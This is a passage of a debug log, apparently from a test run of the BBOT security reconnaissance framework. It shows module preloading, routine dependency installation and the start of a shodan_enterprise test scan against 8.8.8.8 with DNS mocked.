modules.py:152 Preloading google_playstore from cache -2026-03-01 16:42:28,290 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-01 16:42:28,291 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-01 16:42:28,292 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-01 16:42:28,292 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-03-01 16:42:28,294 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-01 16:42:28,294 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-01 16:42:28,295 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-01 16:42:28,295 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-01 16:42:28,301 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-01 16:42:28,301 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-01 16:42:28,302 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-01 16:42:28,303 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-01 16:42:28,304 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-01 16:42:28,305 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-01 16:42:28,305 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-01 16:42:28,306 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-01 16:42:28,307 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-01 16:42:28,307 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-01 16:42:28,309 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-01 16:42:28,310 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-01 16:42:28,311 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-01 16:42:28,311 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-01 16:42:28,312 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-01 16:42:28,313 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-01 16:42:28,313 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-01 16:42:28,314 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-01 16:42:28,314 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-01 16:42:28,315 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-01 16:42:28,315 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-01 16:42:28,316 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-03-01 16:42:28,317 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-01 16:42:28,317 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-01 16:42:28,318 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-01 16:42:28,318 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-01 16:42:28,319 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-01 16:42:28,320 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-01 16:42:28,321 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-01 16:42:28,322 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-01 16:42:28,322 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-01 16:42:28,323 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-01 16:42:28,323 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-01 16:42:28,324 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-01 16:42:28,324 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-01 16:42:28,325 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-01 16:42:28,326 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-01 16:42:28,326 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-01 16:42:28,327 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-01 16:42:28,327 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-01 16:42:28,328 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-01 16:42:28,329 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-01 16:42:28,329 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-01 16:42:28,330 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-01 16:42:28,330 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-01 16:42:28,331 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-01 16:42:28,331 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-01 16:42:28,332 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-01 16:42:28,332 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-01 16:42:28,333 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-01 16:42:28,334 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-01 16:42:28,334 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-01 16:42:28,335 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-01 16:42:28,336 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-01 16:42:28,337 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-01 16:42:28,337 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-01 16:42:28,338 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-01 16:42:28,339 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-01 16:42:28,339 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-01 16:42:28,340 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-01 16:42:28,340 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-01 16:42:28,341 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-01 16:42:28,342 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-01 16:42:28,343 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-01 16:42:28,343 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-01 16:42:28,344 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-01 16:42:28,344 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-01 16:42:28,345 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-01 16:42:28,345 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-01 16:42:28,346 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-01 16:42:28,347 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-01 16:42:28,347 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-01 16:42:28,348 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-01 16:42:28,348 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-01 16:42:28,349 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-01 16:42:28,349 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-01 16:42:28,350 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-01 16:42:28,351 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-01 16:42:28,351 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-03-01 16:42:28,352 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-03-01 16:42:28,353 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-01 16:42:28,353 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-01 16:42:28,354 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-01 16:42:28,354 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-01 16:42:28,355 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-01 16:42:28,356 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-01 16:42:28,356 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-03-01 16:42:28,357 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-01 16:42:28,358 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-03-01 16:42:28,358 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-01 16:42:28,359 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-01 16:42:28,359 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-01 16:42:28,360 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-01 16:42:28,361 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-01 16:42:28,362 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-01 16:42:28,363 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-01 16:42:28,366 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-01 16:42:28,366 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-01 16:42:28,368 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-01 16:42:28,368 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-01 16:42:28,369 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-01 16:42:28,370 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-01 16:42:28,371 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-01 16:42:28,372 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-01 16:42:28,372 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-01 16:42:28,372 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-03-01 16:42:28,373 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-01 16:42:28,374 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-01 16:42:28,375 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-01 16:42:28,375 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-01 16:42:28,376 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-01 16:42:28,377 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-01 16:42:28,377 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-01 16:42:28,378 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-01 16:42:28,379 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-01 16:42:28,379 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-01 16:42:28,380 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-01 16:42:28,381 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-01 16:42:28,382 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-01 16:42:28,382 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-01 16:42:28,383 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-01 16:42:28,384 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-01 16:42:28,384 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-01 16:42:28,385 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-01 16:42:28,386 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-01 16:42:28,387 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-01 16:42:28,388 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-01 16:42:28,388 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-03-01 16:42:28,389 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-01 16:42:29,470 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:42:29,471 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:42:29,471 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-01 16:42:29,612 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-01 16:42:30,173 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-01 16:42:30,173 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-01 16:42:30,173 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-01 16:42:30,174 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-01 16:42:30,380 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-01 16:42:30,381 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-01 16:42:30,489 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-01 16:42:30,489 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-01 16:42:30,547 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-03-01 16:42:30,550 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-01 16:42:30,550 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-03-01 16:42:30,985 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-01 16:42:30,986 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-01 16:42:33,367 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-03-01 16:42:33,367 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-01 16:42:33,368 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-01 16:42:35,215 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-01 16:42:35,216 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-01 16:42:35,221 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:42:35,222 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-01 16:42:35,222 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:42:35,222 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-01 16:42:35,223 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:42:35,224 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-01 16:42:35,224 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-01 16:42:35,224 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-03-01 16:42:35,224 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-03-01 16:42:35,225 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-01 16:42:35,229 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/i9o1eh55kcx7sqdlnijq -2026-03-01 16:42:35,997 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-03-01 16:42:35,998 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-01 16:42:35,999 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-03-01 16:42:36,122 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-03-01 16:42:36,122 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-01 16:42:36,123 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-03-01 16:42:36,124 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-03-01 16:42:36,125 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-03-01 16:42:36,125 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-01 16:42:36,125 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-03-01 16:42:36,126 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-03-01 16:42:36,126 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-01 16:42:36,127 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-03-01 16:42:36,127 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-01 16:42:36,127 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-01 16:42:36,127 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-01 16:42:36,127 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-01 16:42:36,128 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-01 16:42:36,128 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-01 16:42:36,128 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-01 16:42:36,128 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-01 16:42:36,128 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-01 16:42:36,128 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-01 16:42:36,128 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-01 16:42:36,129 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-01 16:42:36,129 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-01 16:42:36,129 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-01 16:42:36,129 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-01 16:42:36,130 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-01 16:42:36,130 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-01 16:42:36,130 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-01 16:42:36,130 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-01 16:42:36,130 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-01 16:42:36,131 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-01 16:42:36,131 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-01 16:42:36,131 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-01 16:42:36,131 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-01 16:42:36,132 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-01 16:42:36,132 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-01 16:42:36,132 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-01 16:42:36,132 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-01 16:42:36,132 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-01 16:42:36,133 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-01 16:42:36,133 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-01 16:42:36,133 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-01 16:42:36,133 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-03-01 16:42:36,133 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-01 16:42:36,134 [DEBUG] bbot base.py:111 Starting scan -2026-03-01 16:42:36,278 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_7lvh2vigm6 -2026-03-01 16:42:36,278 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-03-01 16:42:36,391 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-03-01 16:42:36,392 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-01 16:42:36,392 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-01 16:42:36,394 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) -2026-03-01 16:42:36,493 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) passed post-check -2026-03-01 16:42:36,493 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) -2026-03-01 16:42:36,495 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) in-scope because its main host matches the scan target -2026-03-01 16:42:36,496 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-01 16:42:36,497 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:ed5078ee4f2cc0d9038ab670e47f771a07bd9aa8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:42:36,497 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:ed5078ee4f2cc0d9038ab670e47f771a07bd9aa8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:42:36,498 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check -2026-03-01 16:42:36,498 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) -2026-03-01 16:42:36,500 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:ed5078ee4f2cc0d9038ab670e47f771a07bd9aa8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:42:36,501 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:ed5078ee4f2cc0d9038ab670e47f771a07bd9aa8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:42:36,502 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:ed5078ee4f2cc0d9038ab670e47f771a07bd9aa8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:42:36,503 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:ed5078ee4f2cc0d9038ab670e47f771a07bd9aa8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-01 16:42:36,504 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:ed5078ee4f2cc0d9038ab670e47f771a07bd9aa8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:42:36,505 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:ed5078ee4f2cc0d9038ab670e47f771a07bd9aa8', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-01 16:42:36,506 